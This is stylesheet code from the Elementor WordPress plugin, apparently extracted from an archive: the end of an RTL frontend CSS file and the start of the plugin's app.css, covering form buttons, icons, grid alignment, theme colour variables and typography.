.elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button, .elementor-mobile-button-align-end .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button { flex-basis: initial; } .elementor-mobile-button-align-center .e-form__buttons__wrapper, .elementor-mobile-button-align-start .e-form__buttons__wrapper, .elementor-mobile-button-align-end .e-form__buttons__wrapper { flex-grow: initial; } .elementor-mobile-button-align-center .e-form__buttons__wrapper, .elementor-mobile-button-align-center .e-form__buttons__wrapper__button, .elementor-mobile-button-align-start .e-form__buttons__wrapper, .elementor-mobile-button-align-start .e-form__buttons__wrapper__button, .elementor-mobile-button-align-end .e-form__buttons__wrapper, .elementor-mobile-button-align-end .e-form__buttons__wrapper__button { flex-basis: initial; } } .elementor-error .elementor-field { border-color: #d9534f; } .elementor-error .help-inline { color: #d9534f; font-size: 0.9em; } .elementor-message { margin: 10px 0; font-size: 1em; line-height: 1; } .elementor-message:before { content: "\e90e"; display: inline-block; font-family: eicons; font-weight: normal; font-style: normal; vertical-align: middle; margin-inline-end: 5px; } .elementor-message.elementor-message-danger { color: #d9534f; } .elementor-message.elementor-message-danger:before { content: "\e87f"; } .elementor-message.form-message-success { color: #5cb85c; } .elementor-form .elementor-button { padding-block-start: 0; padding-block-end: 0; border: none; } .elementor-form .elementor-button > span, .elementor-form .elementor-button-content-wrapper { display: flex; justify-content: center; flex-direction: row; gap: 5px; } .elementor-form .elementor-button.elementor-size-xs { min-height: 33px; } .elementor-form .elementor-button.elementor-size-sm { min-height: 40px; } .elementor-form .elementor-button.elementor-size-md { min-height: 47px; } .elementor-form .elementor-button.elementor-size-lg { min-height: 59px; } .elementor-form .elementor-button.elementor-size-xl { min-height: 72px; } .elementor-element .elementor-widget-container { transition: background 0.3s, border 0.3s, border-radius 0.3s, box-shadow 0.3s, transform var(--e-transform-transition-duration, 400ms); } .elementor-heading-title { padding: 0; margin: 0; line-height: 1; } .elementor-button { display: inline-block; line-height: 1; background-color: #69727D; font-size: 15px; padding: 12px 24px; border-radius: 3px; color: #fff; fill: #fff; text-align: center; transition: all 0.3s; } .elementor-button:hover, .elementor-button:focus, .elementor-button:visited { color: #fff; } .elementor-button-content-wrapper { display: flex; justify-content: center; flex-direction: row; gap: 5px; } .elementor-button-icon svg { width: 1em; height: auto; } .elementor-button-icon .e-font-icon-svg { height: 1em; } .elementor-button-text { display: inline-block; } .elementor-button.elementor-size-xs { font-size: 13px; padding: 10px 20px; border-radius: 2px; } .elementor-button.elementor-size-md { font-size: 16px; padding: 15px 30px; border-radius: 4px; } .elementor-button.elementor-size-lg { font-size: 18px; padding: 20px 40px; border-radius: 5px; } .elementor-button.elementor-size-xl { font-size: 20px; padding: 25px 50px; border-radius: 6px; } .elementor-button span { text-decoration: inherit; } .elementor-element.elementor-button-info .elementor-button { background-color: #5bc0de; } .elementor-element.elementor-button-success .elementor-button { background-color: #5cb85c; } .elementor-element.elementor-button-warning .elementor-button { background-color: #f0ad4e; } .elementor-element.elementor-button-danger .elementor-button { background-color: #d9534f; } .elementor-widget-button .elementor-button .elementor-button-info { background-color: #5bc0de; } .elementor-widget-button .elementor-button .elementor-button-success { background-color: #5cb85c; } .elementor-widget-button .elementor-button .elementor-button-warning { background-color: #f0ad4e; } .elementor-widget-button .elementor-button .elementor-button-danger { background-color: #d9534f; } .elementor-tab-title a { color: inherit; } .elementor-view-stacked .elementor-icon { padding: 0.5em; background-color: #69727D; color: #fff; fill: #fff; } .elementor-view-framed .elementor-icon { padding: 0.5em; color: #69727D; border: 3px solid #69727D; background-color: transparent; } .elementor-icon { display: inline-block; line-height: 1; transition: all 0.3s; color: #69727D; font-size: 50px; text-align: center; } .elementor-icon:hover { color: #69727D; } .elementor-icon i, .elementor-icon svg { width: 1em; height: 1em; position: relative; display: block; } .elementor-icon i:before, .elementor-icon svg:before { position: absolute; left: 50%; transform: translateX(-50%); } .elementor-icon i.fad { width: initial; } .elementor-shape-square .elementor-icon { border-radius: 0; } .elementor-shape-rounded .elementor-icon { border-radius: 10%; } .elementor-shape-circle .elementor-icon { border-radius: 50%; } .e-transform .elementor-widget-container { transform: perspective(var(--e-transform-perspective, 0)) rotateZ(var(--e-transform-rotateZ, 0)) rotateX(var(--e-transform-rotateX, 0)) rotateY(var(--e-transform-rotateY, 0)) translate(var(--e-transform-translate, 0)) translateX(var(--e-transform-translateX, 0)) translateY(var(--e-transform-translateY, 0)) scaleX(calc(var(--e-transform-flipX, 1) * var(--e-transform-scaleX, var(--e-transform-scale, 1)))) scaleY(calc(var(--e-transform-flipY, 1) * var(--e-transform-scaleY, var(--e-transform-scale, 1)))) skewX(var(--e-transform-skewX, 0)) skewY(var(--e-transform-skewY, 0)); transform-origin: var(--e-transform-origin-y) var(--e-transform-origin-x); } .e-con.e-transform { transform: perspective(var(--e-con-transform-perspective, 0)) rotateZ(var(--e-con-transform-rotateZ, 0)) rotateX(var(--e-con-transform-rotateX, 0)) rotateY(var(--e-con-transform-rotateY, 0)) translate(var(--e-con-transform-translate, 0)) translateX(var(--e-con-transform-translateX, 0)) translateY(var(--e-con-transform-translateY, 0)) scaleX(calc(var(--e-con-transform-flipX, 1) * var(--e-con-transform-scaleX, var(--e-con-transform-scale, 1)))) scaleY(calc(var(--e-con-transform-flipY, 1) * var(--e-con-transform-scaleY, var(--e-con-transform-scale, 1)))) skewX(var(--e-con-transform-skewX, 0)) skewY(var(--e-con-transform-skewY, 0)); transform-origin: var(--e-con-transform-origin-y) var(--e-con-transform-origin-x); } .animated { animation-duration: 1.25s; } .animated.animated-slow { animation-duration: 2s; } .animated.animated-fast { animation-duration: 0.75s; } .animated.infinite { animation-iteration-count: infinite; } .animated.reverse { animation-direction: reverse; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .animated { animation: none; } } .page-template-elementor_canvas.elementor-page:before { display: none; } .elementor-post__thumbnail__link { transition: none; } #left-area ul.elementor-icon-list-items, .elementor .elementor-element ul.elementor-icon-list-items, .elementor-edit-area .elementor-element ul.elementor-icon-list-items { padding: 0; } .e--ua-appleWebkit.rtl { --flex-right: flex-start; } .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-right, .e--ua-appleWebkit .elementor-share-buttons--align-right { --justify-content: var(--flex-right, flex-end); } .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-center, .e--ua-appleWebkit .elementor-share-buttons--align-center { --justify-content: center; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-justify .elementor-grid { width: auto; display: flex; flex-wrap: wrap; justify-content: var(--justify-content, space-between); margin-left: calc(-0.5 * var(--grid-column-gap)); margin-right: calc(-0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-justify .elementor-grid-item { margin-left: calc(0.5 * var(--grid-column-gap)); margin-right: calc(0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-left .elementor-grid { display: inline-block; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-left .elementor-grid-item { margin-left: 0; margin-right: 0; } @media (max-width: 1024px) { .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-tablet-right, .e--ua-appleWebkit .elementor-share-buttons-tablet--align-right { --justify-content: var(--flex-right, flex-end); } .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-tablet-center, .e--ua-appleWebkit .elementor-share-buttons-tablet--align-center { --justify-content: center; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-justify .elementor-grid { width: auto; display: flex; flex-wrap: wrap; justify-content: var(--justify-content, space-between); margin-left: calc(-0.5 * var(--grid-column-gap)); margin-right: calc(-0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-justify .elementor-grid-item { margin-left: calc(0.5 * var(--grid-column-gap)); margin-right: calc(0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-tablet--align-left .elementor-grid { display: inline-block; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-left .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-tablet--align-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-tablet--align-left .elementor-grid-item { margin-left: 0; margin-right: 0; } } @media (max-width: 767px) { .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-mobile-right, .e--ua-appleWebkit .elementor-share-buttons-mobile--align-right { --justify-content: var(--flex-right, flex-end); } .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-mobile-center, .e--ua-appleWebkit .elementor-share-buttons-mobile--align-center { --justify-content: center; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-justify .elementor-grid { width: auto; display: flex; flex-wrap: wrap; justify-content: var(--justify-content, space-between); margin-left: calc(-0.5 * var(--grid-column-gap)); margin-right: calc(-0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-mobile-justify .elementor-grid-item { margin-left: calc(0.5 * var(--grid-column-gap)); margin-right: calc(0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-mobile--align-left .elementor-grid { display: inline-block; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-mobile-left .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-mobile--align-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons-mobile--align-left .elementor-grid-item { margin-left: 0; margin-right: 0; } } @media (max-width: 767px) { .elementor .elementor-hidden-mobile { display: none; } .elementor .elementor-hidden-phone { display: none; } } @media (min-width: -1) and (max-width: -1) { .elementor .elementor-hidden-mobile_extra { display: none; } } @media (min-width: 768px) and (max-width: 1024px) { .elementor .elementor-hidden-tablet { display: none; } } @media (min-width: -1) and (max-width: -1) { .elementor .elementor-hidden-tablet_extra { display: none; } } @media (min-width: -1) and (max-width: -1) { .elementor .elementor-hidden-laptop { display: none; } } @media (min-width: 1025px) and (max-width: 99999px) { .elementor .elementor-hidden-desktop { display: none; } } @media (min-width: -1) { .elementor .elementor-hidden-widescreen { display: none; } } /*# sourceMappingURL=frontend-rtl.css.map */assets/css/app.css000064400000271475147206604650010162 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ @import "//fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&display=swap"; @import "//fonts.googleapis.com/css2?family=DM+Sans:ital,opsz,wght@0,9..40,100..1000;1,9..40,100..1000&display=swap"; @import "//fonts.googleapis.com/css2?family=Source%20Serif%20Pro&display=swap"; :root { --color-box-shadow-color: rgba(0, 0, 0, 0.05); } .eps-theme-dark { --color-box-shadow-color: rgba(0, 0, 0, 0.1); } .sr-only { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); white-space: nowrap; border: 0; } @media screen and (min-width: 480px) { .text-start-sm { text-align: start; } } @media screen and (min-width: 480px) { .text-center-sm { text-align: center; } } @media screen and (min-width: 480px) { .text-end-sm { text-align: end; } } @media screen and (min-width: 768px) { .text-start-md { text-align: start; } } @media screen and (min-width: 768px) { .text-center-md { text-align: center; } } @media screen and (min-width: 768px) { .text-end-md { text-align: end; } } @media screen and (min-width: 1025px) { .text-start-lg { text-align: start; } } @media screen and (min-width: 1025px) { .text-center-lg { text-align: center; } } @media screen and (min-width: 1025px) { .text-end-lg { text-align: end; } } @media screen and (min-width: 1440px) { .text-start-xl { text-align: start; } } @media screen and (min-width: 1440px) { .text-center-xl { text-align: center; } } @media screen and (min-width: 1440px) { .text-end-xl { text-align: end; } } @media screen and (min-width: 1600px) { .text-start-xxl { text-align: start; } } @media screen and (min-width: 1600px) { .text-center-xxl { text-align: center; } } @media screen and (min-width: 1600px) { .text-end-xxl { text-align: end; } } @keyframes eps-animation-pop { from { transform: scale(0.75); opacity: 0; } to { transform: scale(1); opacity: 1; } } /** TODO: The molecules, atoms and such generics should be at top level, so the styles will be not depended on the order. EG: '../../../app/assets/styles/generic'. Auto-import is designed for CSS that not dependent on the loading order. */ .eps-button { display: inline-flex; --button-line-height: 16px; --button-padding-y: 0.5em; --button-padding-x: 1.5em; --button-primary-background-color: #F3BAFD; --button-primary-hover-background-color: #F5D0FE; --button-primary-active-background-color: #F3BAFD; --button-primary-color: #0C0D0E; --button-secondary-background-color: #69727D; --button-secondary-hover-background-color: #525961; --button-secondary-active-background-color: #3a3f46; --button-secondary-color: #ffffff; --button-danger-background-color: #DC2626; --button-danger-hover-background-color: #b21d1d; --button-danger-active-background-color: #861616; --button-danger-color: #ffffff; --button-cta-background-color: #93003f; --button-cta-hover-background-color: #600029; --button-cta-active-background-color: #2d0013; --button-cta-color: #ffffff; --button-brand-background-color: #93003f; --button-brand-hover-background-color: #600029; --button-brand-active-background-color: #2d0013; --button-brand-color: #ffffff; --button-link-background-color: #515962; --button-link-hover-background-color: #3a4046; --button-link-active-background-color: #23262a; --button-link-color: #ffffff; --button-disabled-background-color: #D5D8DC; --button-disabled-hover-background-color: #b9bec5; --button-disabled-active-background-color: #9da4ae; --button-disabled-color: #ffffff; color: var(--button-background-color, currentColor); font-size: var(--button-font-size, inherit); font-weight: 500; line-height: var(--button-line-height); transition: var(--e-a-transition-hover); cursor: pointer; } .eps-button:active { --button-background-color: var(--button-active-background-color, transparent); } .eps-button:hover { --button-background-color: var(--button-hover-background-color); } .eps-theme-dark .eps-button { --button-primary-background-color: #F3BAFD; --button-primary-color: #0C0D0E; --button-primary-hover-background-color: #EB8EFB; --button-primary-active-background-color: #F3BAFD; --button-secondary-background-color: #BABFC5; --button-secondary-color: #fff; --button-secondary-hover-background-color: #9ea5ae; --button-secondary-active-background-color: #838c96; --button-cta-background-color: #93003f; --button-cta-hover-background-color: #600029; --button-cta-active-background-color: #2d0013; --button-cta-color: #fff; --button-brand-hover-background-color: #600029; --button-brand-active-background-color: #2d0013; --button-brand-color: #fff; --button-brand-background-color: #93003f; --button-link-background-color: #515962; --button-link-hover-background-color: #3a4046; --button-link-active-background-color: #23262a; --button-link-color: #ffffff; --button-disabled-background-color: #69727D; --button-disabled-hover-background-color: #525961; --button-disabled-active-background-color: #3a3f46; --button-disabled-color: #fff; } .eps-button--contained { color: var(--button-color); padding: var(--button-padding-y) var(--button-padding-x); background-color: var(--button-background-color, transparent); border: 1px solid var(--button-background-color); } .eps-button--contained:hover { color: var(--button-color); } .eps-button--outlined { display: block; padding: var(--button-padding-y) var(--button-padding-x); border: 1px solid var(--button-background-color); } .eps-button--contained, .eps-button--outlined { border-radius: 0.1875rem; } .eps-button--underlined { text-decoration: underline; } .eps-button--sm { --button-font-size: 0.75rem; --button-line-height: 14px; } .eps-button--lg { --button-font-size: 0.9375rem; --button-line-height: 18px; } .eps-button--primary { --button-color: var(--button-primary-color); --button-background-color: var(--button-primary-background-color); --button-hover-background-color: var(--button-primary-hover-background-color); --button-active-background-color: var(--button-primary-active-background-color); } .eps-button--secondary { --button-color: var(--button-secondary-color); --button-background-color: var(--button-secondary-background-color); --button-hover-background-color: var(--button-secondary-hover-background-color); --button-active-background-color: var(--button-secondary-active-background-color); } .eps-button--danger { --button-color: var(--button-danger-color); --button-background-color: var(--button-danger-background-color); --button-hover-background-color: var(--button-danger-hover-background-color); --button-active-background-color: var(--button-danger-active-background-color); } .eps-button--cta { --button-color: var(--button-brand-color); --button-background-color: var(--button-cta-background-color); --button-hover-background-color: var(--button-cta-hover-background-color); --button-active-background-color: var(--button-cta-active-background-color); } .eps-button--brand { --button-color: var(--button-cta-color); --button-background-color: var(--button-cta-background-color); --button-hover-background-color: var(--button-cta-hover-background-color); --button-active-background-color: var(--button-cta-active-background-color); } .eps-button--link { --button-color: var(--button-link-color); --button-background-color: var(--button-link-background-color); --button-hover-background-color: var(--button-link-hover-background-color); --button-active-background-color: var(--button-link-active-background-color); } .eps-button--disabled, .eps-button[disabled] { --button-color: var(--button-disabled-color); --button-background-color: var(--button-disabled-background-color); --button-hover-background-color: var(--button-disabled-hover-background-color); --button-active-background-color: var(--button-disabled-active-background-color); cursor: default; } :root { --app-background-color: #ffffff; --app-box-shadow-color: rgba(var(--box-shadow-color, rgba(0, 0, 0, 0.15)), 0.2); --app-header-color: #1f2124; --app-logo-color: #ffffff; --app-logo-background-color: #0C0D0E; --app-title-color: #0C0D0E; --app-header-buttons-separator-color: #9DA5AE; --app-header-buttons-color: #515962; --app-header-buttons-color-hover: #0C0D0E; --app-lightbox-background-color: rgba(0, 0, 0, 0.8); } .eps-theme-dark { --app-background-color: #1f2124; --app-box-shadow-color: rgba(var(--box-shadow-color, rgba(0, 0, 0, 0.15)), 0.2); --app-header-color: #D5D8DC; --app-logo-color: #0C0D0E; --app-logo-background-color: #ffffff; --app-title-color: #fff; --app-header-buttons-separator-color: #818A96; --app-header-buttons-color: #BABFC5; --app-header-buttons-color-hover: #9DA5AE; --app-lightbox-background-color: rgba(0, 0, 0, 0.8); } :root { --text-muted: #BABFC5; --disabled: #D5D8DC; --light: #ffffff; --dark: #000000; --cta: #93003f; --brand: #93003f; --accent: #F3BAFD; --primary: #93003f; --primary-bg: #FAE8FF; --secondary: #515962; --info: #2563EB; --info-bg: #F0F7FF; --danger: #DC2626; --danger-bg: #FEF1F4; --success: #0A875A; --success-bg: #F2FDF5; --warning: #F59E0B; --warning-bg: #FFFBEB; --body-color: #515962; --body-bg: #ffffff; --link-color: #515962; --link-hover-color: #2e3338; --hr-color: #E6E8EA; --box-shadow-color: theme-colors(dark); --display-1-color: #515962; --display-2-color: #515962; --display-3-color: #515962; --display-4-color: #515962; --h1-color: #515962; --h2-color: #515962; --h3-color: #515962; --h4-color: #515962; --h5-color: #515962; --h6-color: #515962; --text-base-color: #515962; --text-xl-color: #515962; --text-lg-color: #515962; --text-sm-color: #515962; --text-xs-color: #515962; --text-xxs-color: #515962; --gray-900: #0C0D0E; --gray-800: #1f2124; --gray-750: #2b2c31; --gray-725: #333438; --gray-700: #3f444b; --gray-600: #515962; --gray-500: #69727D; --gray-400: #818A96; --gray-300: #9DA5AE; --gray-200: #BABFC5; --gray-100: #D5D8DC; --gray-75: #E6E8EA; --gray-50: #F1F2F3; --gray-25: #F9FAFA; } .eps-theme-dark { --text-muted: #818A96; --disabled: #69727D; --light: #fff; --dark: #000; --accent: #524CFF; --cta: #93003f; --brand: #93003f; --success: #39b54a; --success-bg: #032317; --info: #0077CC; --info-bg: #0A1A3D; --warning: #fcb92c; --warning-bg: #311808; --danger: #F84343; --danger-bg: #390A0A; --body-color: #BABFC5; --body-bg: #1f2124; --link-color: #0077CC; --link-hover-color: #2e3338; --hr-color: #333438; --box-shadow-color: rgba(0, 0, 0, 0.15); --display-1-color: #BABFC5; --display-2-color: #BABFC5; --display-3-color: #BABFC5; --display-4-color: #BABFC5; --h1-color: #BABFC5; --h2-color: #BABFC5; --h3-color: #BABFC5; --h4-color: #BABFC5; --h5-color: #BABFC5; --h6-color: #BABFC5; --text-base-color: #BABFC5; --text-xl-color: #BABFC5; --text-lg-color: #BABFC5; --text-sm-color: #BABFC5; --text-xs-color: #BABFC5; --text-xxs-color: #BABFC5; --gray-900: #0C0D0E; --gray-800: #1f2124; --gray-750: #2b2c31; --gray-725: #333438; --gray-700: #3f444b; --gray-600: #515962; --gray-500: #69727D; --gray-400: #818A96; --gray-300: #9DA5AE; --gray-200: #BABFC5; --gray-100: #D5D8DC; --gray-75: #E6E8EA; --gray-50: #F1F2F3; --gray-25: #F9FAFA; } *, *::before, *::after { box-sizing: border-box; } html { font-family: sans-serif; line-height: 1.15; -webkit-text-size-adjust: 100%; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } article, aside, figcaption, figure, footer, header, hgroup, main, nav, section { display: block; } body { margin: 0; font-family: Roboto, Arial, Helvetica, Verdana, sans-serif; font-size: 0.875rem; font-weight: 400; line-height: 1.5; color: var(--body-color); background-color: var(--body-bg); } [tabindex="-1"]:focus:not(:focus-visible) { outline: 0 !important; } h1, h2, h3, h4, h5, h6 { font-size: 100%; margin: 0; padding: 0; line-height: inherit; font-weight: normal; } p { margin-block-start: 0; } b, strong { font-weight: 700; } small { font-size: 80%; } a { --eps-link-color: $eps-link-color; color: var(--eps-link-color); background-color: transparent; } a, a:active, a:hover, a:focus { text-decoration: none; } a:focus, a:hover { --eps-link-color: $eps-link-hover-color; text-decoration: none; } a:not([href]) { color: inherit; text-decoration: none; } a:not([href]):hover { color: inherit; text-decoration: none; } pre, code, kbd, samp { font-family: monospace; font-size: 1em; } figure { margin: 0 0 0; } img { vertical-align: middle; border-style: none; } svg { overflow: hidden; vertical-align: middle; } button { border-radius: 0; } button:focus { outline: 1px dotted; outline: 5px auto -webkit-focus-ring-color; } input, button, select, optgroup, textarea { margin: 0; font-family: inherit; font-size: inherit; line-height: inherit; } button, input { overflow: visible; } button, select { text-transform: none; } [role=button] { cursor: pointer; } select { word-wrap: normal; } button, [type=button], [type=reset], [type=submit] { -webkit-appearance: button; -moz-appearance: button; appearance: button; } button:not(:disabled), [type=button]:not(:disabled), [type=reset]:not(:disabled), [type=submit]:not(:disabled) { cursor: pointer; } input[type=radio], input[type=checkbox] { box-sizing: border-box; padding: 0; } textarea { overflow: auto; resize: vertical; } [hidden] { display: none !important; } hr { border: 0 none; border-block-end: 1px solid var(--hr-color); } .eps-display-1 { font-size: 1.85rem; color: var(--display-1-color); margin-block-start: 0.5rem; margin-block-end: 0.5rem; } .eps-display-2 { font-size: 1.85rem; color: var(--display-2-color); margin-block-start: 0.5rem; margin-block-end: 0.5rem; } .eps-display-3 { font-size: 1.85rem; color: var(--display-3-color); margin-block-start: 0; margin-block-end: 1.25rem; } .eps-display-4 { font-size: 1.85rem; color: var(--display-4-color); margin-block-start: 0.5rem; margin-block-end: 0.5rem; } h1, .eps-h1 { font-size: 1.625rem; line-height: 1; color: var(--h1-color); margin-block-end: 1.25rem; font-weight: 500; } h2, .eps-h2 { font-size: 1.25rem; line-height: 1.2; color: var(--h2-color); margin-block-start: 0; margin-block-end: 1.25rem; font-weight: 500; } h3, .eps-h3 { font-size: 1rem; line-height: 1.2; color: var(--h3-color); margin-block-start: 0; margin-block-end: 0.5rem; font-weight: 500; } h4, .eps-h4 { font-size: 0.9375rem; color: var(--h4-color); margin-block-start: 0; margin-block-end: 0.5rem; } h5, .eps-h5 { font-size: 0.875rem; color: var(--h5-color); margin-block-start: 0; margin-block-end: 0.5rem; } h6, .eps-h6 { font-size: 0.875rem; color: var(--h-6-color); margin-block-start: 0; margin-block-end: 0.5rem; font-weight: 700; } .eps-text-xxs { font-size: 0.75rem; line-height: 1.2; color: var(--text-xxs-color); font-weight: 400; } .eps-text-xs { font-size: 0.75rem; line-height: 1.5; color: var(--text-xs-color); font-weight: 400; } .eps-text { font-size: 0.875rem; line-height: 1.5; color: var(--text-base-color); font-weight: 400; } .eps-text-sm { font-size: 0.8125rem; line-height: 1.5; color: var(--text-sm-color); font-weight: 400; } .eps-text-lg { font-size: 0.9375rem; line-height: 1.5; color: var(--text-lg-color); font-weight: 400; } .eps-text-xl { font-size: 1rem; line-height: 1.5; color: var(--text-xl-color); font-weight: 400; } .video-wrapper { position: relative; padding-block-end: 56.25%; height: 0; } .video-wrapper iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } .eps-separator { margin-block-end: 2.75rem; } .eps-theme-dark { --e-app-back-button-color: #BABFC5; } .back-button, .e-app-back-button { --button-background-color: var(--e-app-back-button-color, #69727D); margin-block-end: 1.5rem; } .back-button .eps-icon, .e-app-back-button .eps-icon { margin-inline-end: 0.3125rem; } .eps-theme-dark { --input-border-color: --hr-color; } .eps-input { border: 1px solid var(--hr-color); border-radius: 0.1875rem; background: transparent; color: inherit; height: 1.875rem; padding: 0 0.3125rem; } .eps-input--block { width: 100%; } .eps-app { display: flex; height: 100vh; flex-direction: column; color: var(--body-color); background-color: var(--app-background-color); position: absolute; border-radius: 0; box-shadow: 2px 8px 23px 3px var(--color-box-shadow-color); overflow: hidden; font-family: Roboto, Arial, Helvetica, Verdana, sans-serif; width: 100%; max-width: 100%; } .eps-app__lightbox { display: flex; align-items: center; justify-content: center; position: fixed; height: 100%; width: 100%; background-color: var(--app-lightbox-background-color); z-index: 1040; bottom: 0; left: 0; } .eps-app__header { flex-shrink: 0; font-size: 0.9375rem; border-block-end: var(--e-a-border); position: relative; z-index: 3; height: 3.125rem; padding-block: 0; padding-inline: 1rem; } .eps-app__header-buttons { display: flex; align-items: center; flex-direction: row-reverse; font-size: 1.125rem; } .eps-app__header-btn { padding-inline-start: 1rem; font-size: 1.125rem; line-height: 1.25rem; } .eps-app__header-btn:hover { color: var(--app-header-buttons-color-hover); } .eps-app__header-btn:first-child { border-inline-start: 1px solid var(--app-header-buttons-separator-color); } .eps-app__header-btn:not(:first-child) { padding-inline-end: 1rem; } .eps-app__logo-title-wrapper { display: flex; align-items: center; } .eps-app__logo { display: block; width: 1.75rem; height: 1.75rem; line-height: 1.75rem; text-align: center; font-size: calc(0.4 * 1.75rem); border-radius: 50%; color: var(--app-logo-color); background-color: var(--app-logo-background-color); } .eps-app__logo:not(:last-child) { margin-inline-end: 0.625rem; } .eps-app__title { color: var(--app-title-color); font-size: 0.9375rem; font-weight: 700; text-transform: uppercase; margin-block-end: 0; } .eps-app__main { display: flex; overflow: hidden; flex-grow: 1; } .eps-app__sidebar { background-color: var(--app-sidebar-background-color); padding-block-start: 1.25rem; width: 30%; max-width: 17.1875rem; border-inline-end: var(--e-a-border); flex-grow: 0; overflow-y: auto; z-index: 4; } .eps-app__content { flex-grow: 1; position: relative; padding: 2.75rem; height: 100%; overflow-y: auto; } .e-app-upload-file__input { display: none; } .e-app-drop-zone { --e-app-drop-zone-text-color: #69727D; --e-app-drop-zone-secondary-text-color: #515962; } .e-app-drop-zone__icon { margin-block-end: 2.75rem; font-size: 60px; } .e-app-drop-zone__text { color: var(--e-app-drop-zone-text-color); } .e-app-drop-zone__secondary-text { color: var(--e-app-drop-zone-secondary-text-color); } .eps-theme-dark .e-app-drop-zone { --e-app-drop-zone-text-color: #BABFC5; --e-app-drop-zone-secondary-text-color: #D5D8DC; } :root { --info-toggle-color: #9DA5AE; --info-toggle-hover-color: #69727D; } .eps-theme-dark { --placeholder-filter: invert(0.8) sepia(1) saturate(0.2) hue-rotate(180deg) contrast(1.25) 